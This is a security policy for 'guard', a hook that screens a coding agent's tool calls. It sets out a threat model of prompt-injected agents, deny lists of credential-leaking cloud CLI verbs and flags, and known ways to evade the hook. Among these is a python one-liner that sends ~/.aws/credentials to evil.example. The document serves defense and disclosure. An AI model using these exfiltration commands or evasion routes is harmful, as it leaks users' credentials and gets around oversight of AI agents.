Skip to content

Security: TracineHQ/guard

SECURITY.md

Security policy

Supported versions

The latest minor release receives security fixes. The v1.3.x line is the current supported series.

Version Supported
1.3.x yes
1.2.x no (yanked: superseded by 1.3.0 — fixes AWS admin allowlist bypass)
1.1.x no
1.0.x no (missing bash.admin_default_deny)
< 1.0 no

Reporting a vulnerability

Do not open a public issue for security reports.

Use GitHub Private Vulnerability Reporting:

https://github.com/TracineHQ/guard/security/advisories/new

Please include:

  • A description of the issue and its impact.
  • Reproduction steps (commands, inputs, environment).
  • Affected version (/plugin list inside Claude Code).
  • Contact info for follow-up.

Response targets

  • Acknowledgement: within 72 hours of report.
  • High-severity fix: within 30 days of triage.
  • Coordinated disclosure: roughly a 7-day public-update window after the fix lands, to give users time to upgrade before details become public.

Threat model

Guard runs as a PreToolUse hook. Its inputs are attacker-influenceable: a malicious prompt, an MCP tool response, or a poisoned CLAUDE.md in a repo the user opens can drive the tool calls guard sees.

The validators are written with that in mind:

  • Guard receives attacker-influenceable JSON (malicious prompts, MCP tools, repo CLAUDE.md drive tool calls).
  • Validators MUST not eval/exec/shell-out input verbatim.
  • Bounded JSON parse size (~1 MiB stdin cap).
  • Path operations restricted to read-only inside ~/.claude/.
  • Regex compiled with no nested quantifiers (ReDoS resistance).
  • Brace-expansion bounded by _BRACE_EXPANSION_TOKEN_CAP = 4096 aggregate tokens (bash_command_validator._expand_braces_in_line). Chained groups like {a,b,…}{c,d,…}{e,f,…}{g,h,…} would otherwise multiply to ~810k tokens before the per-command length cap fires; the aggregate cap stops expansion mid-stream and the offending command falls to bash.command_too_long.
  • Cloud admin CLIs (aws, gcloud, az, kubectl, launchctl) are default-deny: only verbs on the read-only allowlist pass. v1.3.0 replaces the previous describe-*/list-*/get-* prefix shortcut with an explicit (service, verb) catalog for aws (see AWS allow/deny policy below). Override paths: allow_commands, disable_rules, GUARD_ADMIN_ALLOW_VERBS=<cli>:<verb.path>.

AWS allow/deny policy

Guard treats aws commands like any other admin CLI: the matcher checks (service, verb) against a curated read-only allowlist. The v1.2 implementation used a prefix shortcut (any describe-*, list-*, get-* verb was treated as read) which let dangerous verbs through. v1.3.0 replaces that shortcut with an explicit catalog.

Decision tree

For aws <service> <verb> [...]:

  1. If the command contains an ALWAYS_DENY shape (pipe-to-shell, glob-head, redirect to a block device), it is denied regardless.
  2. If (service, verb) appears in GUARD_ADMIN_ALLOW_VERBS, it is allowed.
  3. If (service, verb) is in the read-only catalog (_AWS_READ_ONLY_VERBS_BY_SERVICE in src/guard/hooks/_admin_specs.py), it is allowed.
  4. Otherwise it is denied.

What gets excluded from the catalog

Verbs that match the safe prefix pattern but emit credential or content material are deliberately omitted, including:

  • secretsmanager get-secret-value / batch-get-secret-value (decrypted secret material)
  • ssm get-parameter / get-parameters / get-parameters-by-path / get-parameter-history (SSM SecureString values; SSM String parameters are also covered)
  • ssm get-command-invocation (stdout/stderr of remote execution)
  • kinesis get-records (stream payload)
  • logs get-log-events / filter-log-events / get-query-results / start-live-tail / tail (log content; often contains tokens)
  • s3api get-object (object body content)
  • s3 presign (issues credential-bearing presigned URL)
  • cognito-identity get-credentials-for-identity / get-open-id-token* (federated credentials)
  • cognito-idp get-tokens-from-refresh-token (auth tokens)
  • sts get-session-token / get-federation-token / assume-role* (credential issuance)
  • ecr get-login-password / get-authorization-token / batch-get-image (Docker registry creds + image content)
  • eks get-token (cluster auth token)
  • lambda get-function (presigned source-code URL)
  • ec2 get-password-data (encrypted Windows admin password)
  • ec2 get-console-output / get-console-screenshot
  • sqs receive-message (queue message body)
  • apigateway get-api-key[s] (actual API key values)
  • athena get-query-results / cloudtrail get-query-results
  • glue get-connection[s] (embedded connection credentials)
  • stepfunctions get-execution-history (step I/O)
  • dynamodb scan / query / get-item / batch-get-item
  • rds download-db-log-file-portion / generate-db-auth-token
  • iam get-credential-report / get-ssh-public-key

Extending the catalog

If you need a verb that is not in the catalog, the supported path is the env-variable override:

export GUARD_ADMIN_ALLOW_VERBS="aws:kinesis.get-records,aws:emr.list-clusters"

The format is <cli>:<service>.<verb>, comma-separated. The override is read at hook-execution time and rescues a single (service, verb) tuple.

For a permanent addition that other Guard users will benefit from, open a PR adding the tuple to _AWS_READ_ONLY_VERBS_BY_SERVICE[<service>] in src/guard/hooks/_admin_specs.py.

Catalog freshness

The AWS verb catalog lags new AWS API additions. If you hit a deny on a legitimate read verb not yet in the catalog, add it to GUARD_ADMIN_ALLOW_VERBS and (optionally) open an issue at https://github.com/TracineHQ/guard.

Migrating from v1.2

Twenty-three AWS verbs previously allowed under v1.2's prefix predicate or explicit carve-out now deny by default in v1.3. The most impactful allow→deny transitions are aws logs tail, aws logs filter-log-events, aws dynamodb scan / query / batch-get-item, aws rds generate-db-auth-token, aws ssm get-command-invocation, and the secret/credential-emitting get-* verbs (secretsmanager, ssm --with-decryption, kinesis, s3api, cognito-*, lambda get-function, ec2 get-password-data, ec2 get-console-*, apigateway get-api-key --include-value, sqs receive-message, stepfunctions get-execution-history, eks get-token). If your workflow needs one of these, add it to GUARD_ADMIN_ALLOW_VERBS before starting the session.

Admin CLI flag-level policy

The verb catalog is a floor, not a ceiling. (service, verb) on the allowlist is necessary but not sufficient — flags can still escalate an allowed read verb into a credential leak (--endpoint-url=evil), RBAC impersonation (kubectl --as=cluster-admin), or MITM (--no-verify-ssl). v1.3.0 adds a flag-level policy on top of the verb catalog.

Three-tier flag handling

For every admin CLI (aws, gcloud, az, kubectl), the matcher walks tokens after the CLI binary and classifies each --flag:

  1. Forbidden — DENY outright. Preempts the verb catalog. Flags that redirect the request destination, disable TLS, swap credentials, impersonate identity, or override the request body entirely. Examples:
    • AWS: --endpoint-url, --ca-bundle, --no-verify-ssl, --no-sign-request, --profile, --debug, --cli-input-json, --cli-input-yaml
    • gcloud: --impersonate-service-account, --credential-file-override, --access-token-file, --configuration, --account, --log-http, --flags-file
    • az: --debug (leaks bearer token; CVE-2023-36052)
    • kubectl: --as, --as-group, --as-uid, --as-user-extra (CRIT — RBAC impersonation), --server / -s, --cluster, --insecure-skip-tls-verify, --tls-server-name, --certificate-authority, --token, --client-certificate, --client-key, --username, --password, --kubeconfig, --context, --user, -v / --v (verbose HTTP dumps bearer tokens)
  2. Known-safe — stripped before verb extraction (--region, --output, --query, --max-results, paging tokens).
  3. Unknown — long --* flags on neither list. Logged to the JSONL audit record under unknown_flags: [...] (flag name only, never the value; capped at 8). In strict mode (permission_mode is auto, dontAsk, or bypassPermissions — any unattended mode), presence of any unknown flag escalates an otherwise-allow to DENY via bash.admin_unknown_flag_strict.

Forbidden subcommands

A few admin-CLI subcommands bypass the verb model entirely. These deny outright regardless of flags:

  • az rest — issues arbitrary REST calls
  • az cloud register|set|update — ARM endpoint MITM
  • az extension add --source <URL> — extension RCE
  • az config set — persistent config injection
  • az login --service-principal — credential capture
  • gcloud auth activate-service-account — credential swap
  • gcloud auth login — interactive credential capture

Sensitive env-var inline-assignment

Env-vars set inline on the command line are semantically equivalent to forbidden flags and deny via bash.admin_sensitive_env_override:

  • AWS_ENDPOINT_URL=evil aws ..., AWS_ENDPOINT_URL_<SERVICE>=..., AWS_CA_BUNDLE=, AWS_SHARED_CREDENTIALS_FILE=, AWS_CONFIG_FILE=, AWS_PROFILE=, HTTPS_PROXY=, HTTP_PROXY=
  • AZURE_CONFIG_DIR=, AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=, REQUESTS_CA_BUNDLE=
  • CLOUDSDK_API_ENDPOINT_OVERRIDES_*=, CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE=, CLOUDSDK_AUTH_ACCESS_TOKEN_FILE=

(Process-level env-vars exported in a parent shell are not detected — that's outside the hook's input. Inline assignments on the command line are.)

Unknown-flag telemetry

Every admin-CLI allow logs unrecognized --* flags to the JSONL audit trail. The data informs the next hardening pass — frequent benign flags get promoted to known-safe; suspicious ones get promoted to forbidden. Flag names only; values never leak to logs (fused --token=BEARER is captured as --token only).

Why this design

A strict per-(service, verb) allowlist catches "agent ran a write verb." It misses "agent ran an allowed read verb pointed at the wrong place." Both are the same security event (data exfil), just expressed in different parts of the argv. The flag-level policy closes that gap without sacrificing the verb catalog's clarity.

CVE-2025-59356 reference

Claude Code's hooks system was the subject of CVE-2025-59356, a hook-RCE issue where a malicious project-side hook config could execute on project open. Anthropic fixed this at the Claude Code platform level via a trust dialog. Guard inherits that protection. Guard's validators are themselves hardened against malicious tool inputs to avoid being a foothold.

Guardrails, not walls

Guard is defense-in-depth, not a security boundary. A motivated attacker who controls Claude Code's input can bypass any client-side hook, and a motivated user can disable any hook in settings. Treat guard's decision log as an observability signal, not an enforcement guarantee. Server-side controls (CI policy, branch protection, secret scanners) remain the authoritative line of defense.

If exfiltration prevention is the threat model, the answer is a sandbox (microVM, gVisor, container runtime) plus network isolation. Hooks fire at the Claude Code tool-use layer and cannot defend against a fully-compromised agent that already has shell.

Known limitations / residual risks

The credential, agent-output, subagent-scope, and protected-files validators operate on path-as-signal: every path-like token in any tool input is extracted and matched against a pattern set (filenames, extensions, and known sensitive directories). This catches direct reads, copy-source shadows (cp/mv/dd/install/rsync/scp/tar c), variable indirection in reader heads, and symlinks via realpath. The following bypass classes are known and explicitly deferred:

  • Glob obfuscation. cat ~/.a*/cre* resolves to a credential file at shell-expansion time, but the literal token does not match the pattern set. Guard does not perform glob expansion before matching.
  • Path encoding. Base64-encoded paths and command substitution ($(printf ...)) that reconstruct a sensitive path are not decoded by shlex and slip through. (ANSI-C quoting — $'\x72m', octal $'\147' = g — is now decoded before head-token matching, so that vector is closed; only the base64 / command-sub forms remain.)
  • Hardlinks. realpath follows directory entries, not inodes. After ln ~/.aws/credentials /tmp/innocent, a read of /tmp/innocent is not flagged.
  • Process-substitution exfil. exec 3<creds; cat /proc/self/fd/3 hides the credential path behind an fd. Bind-mounts have the same shape.
  • Archive reverse-form. tar c -C ~/.aws . may not surface the credential path as a token in the argv.
  • Laundering after approved copy. Once the user approves cp creds /tmp/x, subsequent reads of /tmp/x are unguarded. The destination is not a credential path. This is inherent to ASK semantics, not a fixable matcher gap.
  • Out-of-band exfil from a malicious runtime. python3 -c 'import urllib.request, pathlib; urllib.request.urlopen("https://evil.example", data=pathlib.Path("~/.aws/credentials").expanduser().read_bytes())' never names the path in a way the hook layer can match. Stopping this requires sandbox + egress controls, not hooks.

What guard is effective at

  • Honest mistakes (the dominant case in practice).
  • Surfacing prompt-injection attempts that ask the agent to read, copy, or write credential-shaped or destructive paths.
  • Forcing user approval across a wide universe of credential-shaped paths, reader tools, and copy verbs — not just cat ~/.aws/credentials.
  • Blocking AI-attribution in commit messages and similar embarrassment leaks the agent would otherwise emit silently.

Reporting a bypass

Found a bypass for one of the matchers above (or a class not listed)? Report it through GitHub Private Vulnerability Reporting at the link in Reporting a vulnerability. Do not open a public issue — bypass details are exploit material until a fix ships.

There aren't any published security advisories